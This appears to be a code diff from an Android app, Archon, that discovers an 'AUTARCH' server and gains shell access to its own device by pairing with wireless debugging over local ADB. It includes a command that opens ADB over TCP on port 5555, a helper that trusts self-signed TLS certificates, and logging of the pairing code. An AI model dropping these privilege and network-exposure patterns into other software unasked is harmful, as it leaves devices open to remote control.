if (idx < 0) return default
idx++
while (idx < json.length && json[idx] == ' ') idx++
val sb = StringBuilder()
while (idx < json.length && (json[idx].isDigit() || json[idx] == '-')) {
sb.append(json[idx])
idx++
}
return sb.toString().toIntOrNull() ?: default
}
/**
* Bootstrap ArchonServer via AUTARCH server's USB ADB connection.
* Uses the /hardware/archon/bootstrap endpoint which auto-discovers the device.
*/
private fun startServerViaHttp(context: Context, apkPath: String, token: String, port: Int): ShellResult? {
val serverIp = PrefsManager.getServerIp(context)
val serverPort = PrefsManager.getWebPort(context)
if (serverIp.isEmpty()) return null
return try {
val url = java.net.URL("https://$serverIp:$serverPort/hardware/archon/bootstrap")
val conn = url.openConnection() as java.net.HttpURLConnection
com.darkhal.archon.util.SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"apk_path":"${escapeJson(apkPath)}","token":"${escapeJson(token)}","port":$port}"""
Log.i(TAG, "Bootstrap via HTTP: $serverIp:$serverPort")
conn.outputStream.write(payload.toByteArray())
val code = conn.responseCode
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
conn.disconnect()
Log.i(TAG, "Bootstrap HTTP response: $code - $body")
if (code in 200..299) {
val stdout = extractJsonString(body, "stdout") ?: body
val stderr = extractJsonString(body, "stderr") ?: ""
val exitCode = extractJsonInt(body, "exit_code", 0)
ShellResult(stdout, stderr, exitCode)
} else {
Log.w(TAG, "Bootstrap returned HTTP $code: $body")
null
}
} catch (e: Exception) {
Log.w(TAG, "Bootstrap failed: ${e.message}")
null
}
}
private fun escapeJson(s: String): String {
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
}
data class StartResult(val success: Boolean, val message: String)
}

View File

@ -0,0 +1,77 @@
package com.darkhal.archon.service
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.ShellResult
object AdbManager {
private const val ADBD_PROCESS = "adbd"
/**
* Enable ADB over TCP/IP on the specified port.
* Uses the best available privilege method.
*/
fun enableTcpMode(port: Int = 5555): ShellResult {
return PrivilegeManager.execute(
"setprop service.adb.tcp.port $port && stop adbd && start adbd"
)
}
/**
* Disable ADB TCP/IP mode, reverting to USB-only.
*/
fun disableTcpMode(): ShellResult {
return PrivilegeManager.execute(
"setprop service.adb.tcp.port -1 && stop adbd && start adbd"
)
}
/**
* Kill the ADB daemon.
*/
fun killServer(): ShellResult {
return PrivilegeManager.execute("stop adbd")
}
/**
* Restart the ADB daemon (stop then start).
*/
fun restartServer(): ShellResult {
return PrivilegeManager.execute("stop adbd && start adbd")
}
/**
* Check if the ADB daemon process is currently running.
*/
fun isRunning(): Boolean {
val result = ShellExecutor.execute("pidof $ADBD_PROCESS")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* Get the current ADB mode: "tcp" with port number, or "usb".
*/
fun getMode(): String {
val result = ShellExecutor.execute("getprop service.adb.tcp.port")
val port = result.stdout.trim()
return if (port.isNotEmpty() && port != "-1" && port != "0") {
"tcp:$port"
} else {
"usb"
}
}
/**
* Get a combined status map for display.
*/
fun getStatus(): Map<String, Any> {
val running = isRunning()
val mode = getMode()
return mapOf(
"running" to running,
"mode" to mode,
"tcp_enabled" to mode.startsWith("tcp")
)
}
}

View File

@ -0,0 +1,416 @@
package com.darkhal.archon.service
import android.bluetooth.BluetoothAdapter
import android.bluetooth.BluetoothDevice
import android.bluetooth.BluetoothManager
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.net.nsd.NsdManager
import android.net.nsd.NsdServiceInfo
import android.net.wifi.WifiManager
import android.net.wifi.p2p.WifiP2pConfig
import android.net.wifi.p2p.WifiP2pDevice
import android.net.wifi.p2p.WifiP2pDeviceList
import android.net.wifi.p2p.WifiP2pInfo
import android.net.wifi.p2p.WifiP2pManager
import android.os.Handler
import android.os.Looper
import android.util.Log
/**
* Discovers AUTARCH servers on the network using three methods (priority order):
*
* 1. **mDNS/NSD** discovers _autarch._tcp.local. on LAN (fastest, most reliable)
* 2. **Wi-Fi Direct** discovers AUTARCH peers when no shared LAN exists
* 3. **Bluetooth** discovers AUTARCH BT advertisement (fallback, requires BT enabled + paired)
*
* Usage:
* val discovery = DiscoveryManager(context)
* discovery.listener = object : DiscoveryManager.Listener { ... }
* discovery.startDiscovery()
* // ... later ...
* discovery.stopDiscovery()
*/
class DiscoveryManager(private val context: Context) {
companion object {
private const val TAG = "ArchonDiscovery"
private const val MDNS_SERVICE_TYPE = "_autarch._tcp."
private const val BT_TARGET_NAME = "AUTARCH"
private const val WIFIDIRECT_TARGET_NAME = "AUTARCH"
private const val DISCOVERY_TIMEOUT_MS = 15000L
}
// ── Result Data ─────────────────────────────────────────────────
data class DiscoveredServer(
val ip: String,
val port: Int,
val hostname: String,
val method: ConnectionMethod,
val extras: Map<String, String> = emptyMap()
)
enum class ConnectionMethod {
MDNS, // Found via mDNS on local network
WIFI_DIRECT, // Found via Wi-Fi Direct
BLUETOOTH // Found via Bluetooth
}
// ── Listener ────────────────────────────────────────────────────
interface Listener {
fun onServerFound(server: DiscoveredServer)
fun onDiscoveryStarted(method: ConnectionMethod)
fun onDiscoveryStopped(method: ConnectionMethod)
fun onDiscoveryError(method: ConnectionMethod, error: String)
}
var listener: Listener? = null
private val handler = Handler(Looper.getMainLooper())
// ── State ───────────────────────────────────────────────────────
private var mdnsRunning = false
private var wifiDirectRunning = false
private var bluetoothRunning = false
private var nsdManager: NsdManager? = null
private var discoveryListener: NsdManager.DiscoveryListener? = null
private var wifiP2pManager: WifiP2pManager? = null
private var wifiP2pChannel: WifiP2pManager.Channel? = null
private var bluetoothAdapter: BluetoothAdapter? = null
private val discoveredServers = mutableListOf<DiscoveredServer>()
// ── Public API ──────────────────────────────────────────────────
/**
* Start all available discovery methods in priority order.
* Results arrive via the [Listener] callback.
*/
fun startDiscovery() {
discoveredServers.clear()
startMdnsDiscovery()
startWifiDirectDiscovery()
startBluetoothDiscovery()
// Auto-stop after timeout
handler.postDelayed({ stopDiscovery() }, DISCOVERY_TIMEOUT_MS)
}
/**
* Stop all discovery methods.
*/
fun stopDiscovery() {
stopMdnsDiscovery()
stopWifiDirectDiscovery()
stopBluetoothDiscovery()
}
/**
* Get all servers found so far.
*/
fun getDiscoveredServers(): List<DiscoveredServer> {
return discoveredServers.toList()
}
/**
* Get the best server (highest priority method).
*/
fun getBestServer(): DiscoveredServer? {
return discoveredServers.minByOrNull { it.method.ordinal }
}
// ── mDNS / NSD ─────────────────────────────────────────────────
private fun startMdnsDiscovery() {
if (mdnsRunning) return
try {
nsdManager = context.getSystemService(Context.NSD_SERVICE) as? NsdManager
if (nsdManager == null) {
notifyError(ConnectionMethod.MDNS, "NSD service not available")
return
}
discoveryListener = object : NsdManager.DiscoveryListener {
override fun onDiscoveryStarted(serviceType: String) {
Log.d(TAG, "mDNS discovery started")
mdnsRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.MDNS) }
}
override fun onServiceFound(serviceInfo: NsdServiceInfo) {
Log.d(TAG, "mDNS service found: ${serviceInfo.serviceName}")
// Resolve to get IP and port
nsdManager?.resolveService(serviceInfo, object : NsdManager.ResolveListener {
override fun onResolveFailed(info: NsdServiceInfo, errorCode: Int) {
Log.w(TAG, "mDNS resolve failed: $errorCode")
}
override fun onServiceResolved(info: NsdServiceInfo) {
val host = info.host?.hostAddress ?: return
val port = info.port
val hostname = info.attributes["hostname"]
?.let { String(it) } ?: info.serviceName
val server = DiscoveredServer(
ip = host,
port = port,
hostname = hostname,
method = ConnectionMethod.MDNS,
extras = info.attributes.mapValues { String(it.value ?: byteArrayOf()) }
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
Log.i(TAG, "mDNS: found AUTARCH at $host:$port")
}
})
}
override fun onServiceLost(serviceInfo: NsdServiceInfo) {
Log.d(TAG, "mDNS service lost: ${serviceInfo.serviceName}")
}
override fun onDiscoveryStopped(serviceType: String) {
mdnsRunning = false
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.MDNS) }
}
override fun onStartDiscoveryFailed(serviceType: String, errorCode: Int) {
mdnsRunning = false
notifyError(ConnectionMethod.MDNS, "Start failed (code $errorCode)")
}
override fun onStopDiscoveryFailed(serviceType: String, errorCode: Int) {
Log.w(TAG, "mDNS stop failed: $errorCode")
}
}
nsdManager?.discoverServices(MDNS_SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, discoveryListener)
} catch (e: Exception) {
notifyError(ConnectionMethod.MDNS, e.message ?: "Unknown error")
}
}
private fun stopMdnsDiscovery() {
if (!mdnsRunning) return
try {
discoveryListener?.let { nsdManager?.stopServiceDiscovery(it) }
} catch (e: Exception) {
Log.w(TAG, "mDNS stop error: ${e.message}")
}
mdnsRunning = false
}
// ── Wi-Fi Direct ────────────────────────────────────────────────
private val wifiP2pReceiver = object : BroadcastReceiver() {
override fun onReceive(ctx: Context, intent: Intent) {
when (intent.action) {
WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION -> {
// Peers list changed, request updated list
wifiP2pManager?.requestPeers(wifiP2pChannel) { peers ->
handleWifiDirectPeers(peers)
}
}
WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION -> {
wifiP2pManager?.requestConnectionInfo(wifiP2pChannel) { info ->
handleWifiDirectConnection(info)
}
}
}
}
}
private fun startWifiDirectDiscovery() {
if (wifiDirectRunning) return
try {
wifiP2pManager = context.getSystemService(Context.WIFI_P2P_SERVICE) as? WifiP2pManager
if (wifiP2pManager == null) {
notifyError(ConnectionMethod.WIFI_DIRECT, "Wi-Fi Direct not available")
return
}
wifiP2pChannel = wifiP2pManager?.initialize(context, Looper.getMainLooper(), null)
// Register receiver for Wi-Fi Direct events
val intentFilter = IntentFilter().apply {
addAction(WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION)
addAction(WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION)
addAction(WifiP2pManager.WIFI_P2P_STATE_CHANGED_ACTION)
}
context.registerReceiver(wifiP2pReceiver, intentFilter)
wifiP2pManager?.discoverPeers(wifiP2pChannel, object : WifiP2pManager.ActionListener {
override fun onSuccess() {
wifiDirectRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.WIFI_DIRECT) }
Log.d(TAG, "Wi-Fi Direct discovery started")
}
override fun onFailure(reason: Int) {
val msg = when (reason) {
WifiP2pManager.P2P_UNSUPPORTED -> "P2P unsupported"
WifiP2pManager.BUSY -> "System busy"
WifiP2pManager.ERROR -> "Internal error"
else -> "Unknown error ($reason)"
}
notifyError(ConnectionMethod.WIFI_DIRECT, msg)
}
})
} catch (e: Exception) {
notifyError(ConnectionMethod.WIFI_DIRECT, e.message ?: "Unknown error")
}
}
private fun handleWifiDirectPeers(peers: WifiP2pDeviceList) {
for (device in peers.deviceList) {
if (device.deviceName.contains(WIFIDIRECT_TARGET_NAME, ignoreCase = true)) {
Log.i(TAG, "Wi-Fi Direct: found AUTARCH peer: ${device.deviceName} (${device.deviceAddress})")
// Found an AUTARCH device — connect to get IP
connectWifiDirect(device)
}
}
}
private fun connectWifiDirect(device: WifiP2pDevice) {
val config = WifiP2pConfig().apply {
deviceAddress = device.deviceAddress
}
wifiP2pManager?.connect(wifiP2pChannel, config, object : WifiP2pManager.ActionListener {
override fun onSuccess() {
Log.d(TAG, "Wi-Fi Direct: connecting to ${device.deviceName}")
}
override fun onFailure(reason: Int) {
Log.w(TAG, "Wi-Fi Direct: connect failed ($reason)")
}
})
}
private fun handleWifiDirectConnection(info: WifiP2pInfo) {
if (info.groupFormed) {
val ownerAddress = info.groupOwnerAddress?.hostAddress ?: return
// The group owner is the AUTARCH server
val server = DiscoveredServer(
ip = ownerAddress,
port = 8181, // Default — will be refined via mDNS or API call
hostname = "AUTARCH (Wi-Fi Direct)",
method = ConnectionMethod.WIFI_DIRECT
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
Log.i(TAG, "Wi-Fi Direct: AUTARCH at $ownerAddress")
}
}
private fun stopWifiDirectDiscovery() {
if (!wifiDirectRunning) return
try {
wifiP2pManager?.stopPeerDiscovery(wifiP2pChannel, null)
context.unregisterReceiver(wifiP2pReceiver)
} catch (e: Exception) {
Log.w(TAG, "Wi-Fi Direct stop error: ${e.message}")
}
wifiDirectRunning = false
}
// ── Bluetooth ───────────────────────────────────────────────────
private val btReceiver = object : BroadcastReceiver() {
override fun onReceive(ctx: Context, intent: Intent) {
when (intent.action) {
BluetoothDevice.ACTION_FOUND -> {
val device = intent.getParcelableExtra<BluetoothDevice>(
BluetoothDevice.EXTRA_DEVICE
) ?: return
val name = try { device.name } catch (e: SecurityException) { null }
if (name != null && name.contains(BT_TARGET_NAME, ignoreCase = true)) {
Log.i(TAG, "Bluetooth: found AUTARCH device: $name (${device.address})")
val server = DiscoveredServer(
ip = "", // BT doesn't give IP directly — use for pairing flow
port = 0,
hostname = name,
method = ConnectionMethod.BLUETOOTH,
extras = mapOf(
"bt_address" to device.address,
"bt_name" to name
)
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
}
}
BluetoothAdapter.ACTION_DISCOVERY_FINISHED -> {
bluetoothRunning = false
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.BLUETOOTH) }
}
}
}
}
private fun startBluetoothDiscovery() {
if (bluetoothRunning) return
try {
val btManager = context.getSystemService(Context.BLUETOOTH_SERVICE) as? BluetoothManager
bluetoothAdapter = btManager?.adapter
if (bluetoothAdapter == null || bluetoothAdapter?.isEnabled != true) {
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth not available or disabled")
return
}
val intentFilter = IntentFilter().apply {
addAction(BluetoothDevice.ACTION_FOUND)
addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED)
}
context.registerReceiver(btReceiver, intentFilter)
val started = try {
bluetoothAdapter?.startDiscovery() == true
} catch (e: SecurityException) {
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth permission denied")
return
}
if (started) {
bluetoothRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.BLUETOOTH) }
Log.d(TAG, "Bluetooth discovery started")
} else {
notifyError(ConnectionMethod.BLUETOOTH, "Failed to start BT discovery")
}
} catch (e: Exception) {
notifyError(ConnectionMethod.BLUETOOTH, e.message ?: "Unknown error")
}
}
private fun stopBluetoothDiscovery() {
if (!bluetoothRunning) return
try {
bluetoothAdapter?.cancelDiscovery()
context.unregisterReceiver(btReceiver)
} catch (e: Exception) {
Log.w(TAG, "Bluetooth stop error: ${e.message}")
}
bluetoothRunning = false
}
// ── Helpers ─────────────────────────────────────────────────────
private fun notifyError(method: ConnectionMethod, error: String) {
Log.e(TAG, "${method.name}: $error")
handler.post { listener?.onDiscoveryError(method, error) }
}
}

View File

@ -0,0 +1,391 @@
package com.darkhal.archon.service
import android.content.Context
import android.util.Base64
import android.util.Log
import com.darkhal.archon.util.ShellResult
import io.github.muntashirakon.adb.AbsAdbConnectionManager
import io.github.muntashirakon.adb.android.AdbMdns
import org.conscrypt.Conscrypt
import java.io.ByteArrayInputStream
import java.io.ByteArrayOutputStream
import java.math.BigInteger
import java.security.KeyFactory
import java.security.KeyPairGenerator
import java.security.PrivateKey
import java.security.SecureRandom
import java.security.Security
import java.security.Signature
import java.security.cert.Certificate
import java.security.cert.CertificateFactory
import java.security.spec.PKCS8EncodedKeySpec
import java.util.Calendar
import java.util.TimeZone
import java.util.concurrent.CountDownLatch
import java.util.concurrent.TimeUnit
import java.util.concurrent.atomic.AtomicBoolean
import java.util.concurrent.atomic.AtomicInteger
import android.os.Build
/**
* Self-contained local ADB client using libadb-android.
* Handles wireless debugging pairing, mDNS discovery, and shell command execution.
* No external ADB binary needed pure Java/TLS implementation.
*/
object LocalAdbClient {
private const val TAG = "LocalAdbClient"
private const val PREFS_NAME = "archon_adb_keys"
private const val KEY_PRIVATE = "adb_private_key"
private const val KEY_CERTIFICATE = "adb_certificate"
private const val LOCALHOST = "127.0.0.1"
private var connectionManager: AbsAdbConnectionManager? = null
private var connected = AtomicBoolean(false)
private var connectedPort = AtomicInteger(0)
init {
// Install Conscrypt as the default TLS provider for TLSv1.3 support
Security.insertProviderAt(Conscrypt.newProvider(), 1)
}
/**
* Check if we have a stored ADB key pair (device has been paired before).
*/
fun hasKeyPair(context: Context): Boolean {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.contains(KEY_PRIVATE) && prefs.contains(KEY_CERTIFICATE)
}
/**
* Generate a new RSA-2048 key pair for ADB authentication.
* Stored in SharedPreferences.
*/
fun generateKeyPair(context: Context) {
val kpg = KeyPairGenerator.getInstance("RSA")
kpg.initialize(2048)
val keyPair = kpg.generateKeyPair()
// Generate self-signed certificate using Android's built-in X509 support
val certificate = generateSelfSignedCert(keyPair)
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_PRIVATE, Base64.encodeToString(keyPair.private.encoded, Base64.NO_WRAP))
.putString(KEY_CERTIFICATE, Base64.encodeToString(certificate.encoded, Base64.NO_WRAP))
.apply()
Log.i(TAG, "Generated new ADB key pair")
}
/**
* Generate a self-signed X.509 v3 certificate for ADB authentication.
* Built from raw DER/ASN.1 encoding no sun.security or BouncyCastle needed.
*/
private fun generateSelfSignedCert(keyPair: java.security.KeyPair): Certificate {
val serial = BigInteger(64, SecureRandom())
val notBefore = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
val notAfter = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
notAfter.add(Calendar.YEAR, 25)
// DN: CN=adb_archon
val dn = derSequence(derSet(derSequence(
derOid(byteArrayOf(0x55, 0x04, 0x03)), // OID 2.5.4.3 = CN
derUtf8String("adb_archon")
)))
// SHA256withRSA algorithm identifier
// OID 1.2.840.113549.1.1.11
val sha256WithRsa = byteArrayOf(
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xCE.toByte(),
0x3D, 0x04, 0x03, 0x02 // placeholder, replaced below
)
// Correct OID bytes for 1.2.840.113549.1.1.11
val sha256RsaOid = byteArrayOf(
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xF7.toByte(),
0x0D, 0x01, 0x01, 0x0B
)
val algId = derSequence(derOid(sha256RsaOid), derNull())
// SubjectPublicKeyInfo — re-use the encoded form from the key
val spki = keyPair.public.encoded // Already DER-encoded SubjectPublicKeyInfo
// TBSCertificate
val tbs = derSequence(
derExplicit(0, derInteger(BigInteger.valueOf(2))), // v3
derInteger(serial),
algId,
dn, // issuer
derSequence(derUtcTime(notBefore), derUtcTime(notAfter)), // validity
dn, // subject = issuer (self-signed)
spki // subjectPublicKeyInfo
)
// Sign the TBS
val sig = Signature.getInstance("SHA256withRSA")
sig.initSign(keyPair.private)
sig.update(tbs)
val signature = sig.sign()
// Full certificate: SEQUENCE { tbs, algId, BIT STRING(signature) }
val certDer = derSequence(tbs, algId, derBitString(signature))
val cf = CertificateFactory.getInstance("X.509")
return cf.generateCertificate(ByteArrayInputStream(certDer))
}
// ── ASN.1 / DER helpers ──────────────────────────────────────
private fun derTag(tag: Int, content: ByteArray): ByteArray {
val out = ByteArrayOutputStream()
out.write(tag)
derWriteLength(out, content.size)
out.write(content)
return out.toByteArray()
}
private fun derWriteLength(out: ByteArrayOutputStream, length: Int) {
if (length < 0x80) {
out.write(length)
} else if (length < 0x100) {
out.write(0x81)
out.write(length)
} else if (length < 0x10000) {
out.write(0x82)
out.write(length shr 8)
out.write(length and 0xFF)
} else {
out.write(0x83)
out.write(length shr 16)
out.write((length shr 8) and 0xFF)
out.write(length and 0xFF)
}
}
private fun derSequence(vararg items: ByteArray): ByteArray {
val content = ByteArrayOutputStream()
for (item in items) content.write(item)
return derTag(0x30, content.toByteArray())
}
private fun derSet(vararg items: ByteArray): ByteArray {
val content = ByteArrayOutputStream()
for (item in items) content.write(item)
return derTag(0x31, content.toByteArray())
}
private fun derInteger(value: BigInteger): ByteArray {
val bytes = value.toByteArray()
return derTag(0x02, bytes)
}
private fun derOid(oidBytes: ByteArray): ByteArray {
return derTag(0x06, oidBytes)
}
private fun derNull(): ByteArray = byteArrayOf(0x05, 0x00)
private fun derUtf8String(s: String): ByteArray {
return derTag(0x0C, s.toByteArray(Charsets.UTF_8))
}
private fun derBitString(data: ByteArray): ByteArray {
val content = ByteArray(data.size + 1)
content[0] = 0 // no unused bits
System.arraycopy(data, 0, content, 1, data.size)
return derTag(0x03, content)
}
private fun derUtcTime(cal: Calendar): ByteArray {
val s = String.format(
"%02d%02d%02d%02d%02d%02dZ",
cal.get(Calendar.YEAR) % 100,
cal.get(Calendar.MONTH) + 1,
cal.get(Calendar.DAY_OF_MONTH),
cal.get(Calendar.HOUR_OF_DAY),
cal.get(Calendar.MINUTE),
cal.get(Calendar.SECOND)
)
return derTag(0x17, s.toByteArray(Charsets.US_ASCII))
}
private fun derExplicit(tag: Int, content: ByteArray): ByteArray {
return derTag(0xA0 or tag, content)
}
/**
* Discover the wireless debugging pairing port via mDNS.
*/
fun discoverPairingPort(context: Context, timeoutSec: Long = 15): Int? {
val foundPort = AtomicInteger(-1)
val latch = CountDownLatch(1)
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_PAIRING) { hostAddress, port ->
Log.i(TAG, "Found pairing service at $hostAddress:$port")
foundPort.set(port)
latch.countDown()
}
mdns.start()
latch.await(timeoutSec, TimeUnit.SECONDS)
mdns.stop()
val port = foundPort.get()
return if (port > 0) port else null
}
/**
* Pair with the device's wireless debugging service.
*/
fun pair(context: Context, host: String = LOCALHOST, port: Int, code: String): Boolean {
return try {
ensureKeyPair(context)
val manager = getOrCreateManager(context)
val success = manager.pair(host, port, code)
Log.i(TAG, "Pairing result: $success")
success
} catch (e: Exception) {
Log.e(TAG, "Pairing failed", e)
false
}
}
/**
* Discover the wireless debugging connect port via mDNS.
*/
fun discoverConnectPort(context: Context, timeoutSec: Long = 10): Int? {
val foundPort = AtomicInteger(-1)
val latch = CountDownLatch(1)
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_CONNECT) { hostAddress, port ->
Log.i(TAG, "Found connect service at $hostAddress:$port")
foundPort.set(port)
latch.countDown()
}
mdns.start()
latch.await(timeoutSec, TimeUnit.SECONDS)
mdns.stop()
val port = foundPort.get()
return if (port > 0) port else null
}
/**
* Connect to the device's wireless debugging ADB service.
*/
fun connect(context: Context, host: String = LOCALHOST, port: Int): Boolean {
return try {
val manager = getOrCreateManager(context)
val success = manager.connect(host, port)
connected.set(success)
if (success) connectedPort.set(port)
Log.i(TAG, "Connect result: $success (port=$port)")
success
} catch (e: Exception) {
Log.e(TAG, "Connect failed", e)
connected.set(false)
false
}
}
/**
* Auto-connect: discover port via mDNS and connect.
*/
fun autoConnect(context: Context): Boolean {
val port = discoverConnectPort(context) ?: return false
return connect(context, LOCALHOST, port)
}
/**
* Disconnect the current ADB session.
*/
fun disconnect() {
try {
connectionManager?.disconnect()
} catch (e: Exception) {
Log.w(TAG, "Disconnect error", e)
}
connected.set(false)
connectedPort.set(0)
}
/**
* Check if currently connected to an ADB session.
*/
fun isConnected(): Boolean = connected.get()
/**
* Execute a shell command via the local ADB connection.
*/
fun execute(command: String): ShellResult {
if (!connected.get()) {
return ShellResult("", "Not connected to local ADB", -1)
}
return try {
val manager = connectionManager ?: return ShellResult("", "No connection manager", -1)
val stream = manager.openStream("shell:$command")
val inputStream = stream.openInputStream()
val stdout = inputStream.bufferedReader().readText().trim()
stream.close()
ShellResult(stdout, "", 0)
} catch (e: Exception) {
Log.e(TAG, "Shell execute failed", e)
connected.set(false)
ShellResult("", "ADB shell error: ${e.message}", -1)
}
}
/**
* Check if we were previously paired (have keys stored).
*/
fun isPaired(context: Context): Boolean = hasKeyPair(context)
/**
* Get a human-readable status string.
*/
fun getStatusString(context: Context): String {
return when {
connected.get() -> "Connected (port ${connectedPort.get()})"
hasKeyPair(context) -> "Paired, not connected"
else -> "Not paired"
}
}
// ── Internal ──────────────────────────────────────────────────
private fun ensureKeyPair(context: Context) {
if (!hasKeyPair(context)) {
generateKeyPair(context)
}
}
private fun getOrCreateManager(context: Context): AbsAdbConnectionManager {
connectionManager?.let { return it }
ensureKeyPair(context)
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val privateKeyBytes = Base64.decode(prefs.getString(KEY_PRIVATE, ""), Base64.NO_WRAP)
val certBytes = Base64.decode(prefs.getString(KEY_CERTIFICATE, ""), Base64.NO_WRAP)
val keySpec = PKCS8EncodedKeySpec(privateKeyBytes)
val privateKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec)
val certFactory = CertificateFactory.getInstance("X.509")
val certificate = certFactory.generateCertificate(ByteArrayInputStream(certBytes))
val manager = object : AbsAdbConnectionManager() {
override fun getPrivateKey(): PrivateKey = privateKey
override fun getCertificate(): Certificate = certificate
override fun getDeviceName(): String = "archon_${Build.MODEL}"
}
manager.setApi(Build.VERSION.SDK_INT)
manager.setHostAddress(LOCALHOST)
connectionManager = manager
return manager
}
}

View File

@ -0,0 +1,216 @@
package com.darkhal.archon.service
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.os.Build
import android.util.Log
import androidx.core.app.NotificationCompat
import androidx.core.app.RemoteInput
import com.darkhal.archon.R
import com.darkhal.archon.server.ArchonClient
/**
* Handles the pairing code entered via notification inline reply.
*
* Flow (like Shizuku):
* 1. User taps "START PAIRING" in Setup
* 2. App shows notification with text input for pairing code
* 3. User opens Developer Options > Wireless Debugging > Pair with code
* 4. User pulls down notification shade and enters the 6-digit code
* 5. This receiver auto-detects port, pairs, connects, starts ArchonServer
*/
class PairingReceiver : BroadcastReceiver() {
companion object {
private const val TAG = "PairingReceiver"
const val ACTION_PAIR = "com.darkhal.archon.ACTION_PAIR"
const val KEY_PAIRING_CODE = "pairing_code"
const val NOTIFICATION_ID = 42
const val CHANNEL_ID = "archon_pairing"
/**
* Show the pairing notification with inline text input.
*/
fun showPairingNotification(context: Context) {
createChannel(context)
val replyIntent = Intent(ACTION_PAIR).apply {
setPackage(context.packageName)
}
val replyPending = PendingIntent.getBroadcast(
context, 0, replyIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
)
val remoteInput = RemoteInput.Builder(KEY_PAIRING_CODE)
.setLabel("6-digit pairing code")
.build()
val action = NotificationCompat.Action.Builder(
R.drawable.ic_archon,
"Enter pairing code",
replyPending
)
.addRemoteInput(remoteInput)
.build()
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
.setSmallIcon(R.drawable.ic_archon)
.setContentTitle("Archon — Wireless Debugging Pairing")
.setContentText("Open Settings > Developer Options > Wireless Debugging > Pair with code")
.setStyle(NotificationCompat.BigTextStyle()
.bigText("1. Open Settings > Developer Options\n" +
"2. Enable Wireless Debugging\n" +
"3. Tap 'Pair with pairing code'\n" +
"4. Enter the 6-digit code below"))
.addAction(action)
.setOngoing(true)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(false)
.build()
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.notify(NOTIFICATION_ID, notification)
}
/**
* Update the notification with a status message (no input).
*/
fun updateNotification(context: Context, message: String, ongoing: Boolean = false) {
createChannel(context)
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
.setSmallIcon(R.drawable.ic_archon)
.setContentTitle("Archon Pairing")
.setContentText(message)
.setOngoing(ongoing)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(!ongoing)
.build()
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.notify(NOTIFICATION_ID, notification)
}
/**
* Dismiss the pairing notification.
*/
fun dismissNotification(context: Context) {
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.cancel(NOTIFICATION_ID)
}
private fun createChannel(context: Context) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
CHANNEL_ID,
"Wireless Debugging Pairing",
NotificationManager.IMPORTANCE_HIGH
).apply {
description = "Used for entering the wireless debugging pairing code"
}
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.createNotificationChannel(channel)
}
}
}
override fun onReceive(context: Context, intent: Intent) {
if (intent.action != ACTION_PAIR) return
val remoteInput = RemoteInput.getResultsFromIntent(intent)
val code = remoteInput?.getCharSequence(KEY_PAIRING_CODE)?.toString()?.trim()
if (code.isNullOrEmpty()) {
updateNotification(context, "No code entered — try again")
showPairingNotification(context)
return
}
Log.i(TAG, "Received pairing code: $code")
updateNotification(context, "Pairing with code $code...", ongoing = true)
// Run pairing in background thread
Thread {
try {
// Auto-detect pairing port
Log.i(TAG, "Discovering pairing port...")
val port = LocalAdbClient.discoverPairingPort(context)
if (port == null) {
Log.w(TAG, "Could not find pairing port")
updateNotification(context, "Failed: no pairing port found. Is the Pair dialog still open?")
Thread.sleep(3000)
showPairingNotification(context)
return@Thread
}
Log.i(TAG, "Found pairing port: $port, pairing...")
updateNotification(context, "Found port $port, pairing...", ongoing = true)
val success = LocalAdbClient.pair(context, "127.0.0.1", port, code)
if (!success) {
Log.w(TAG, "Pairing failed")
updateNotification(context, "Pairing failed — wrong code or port changed. Try again.")
Thread.sleep(3000)
showPairingNotification(context)
return@Thread
}
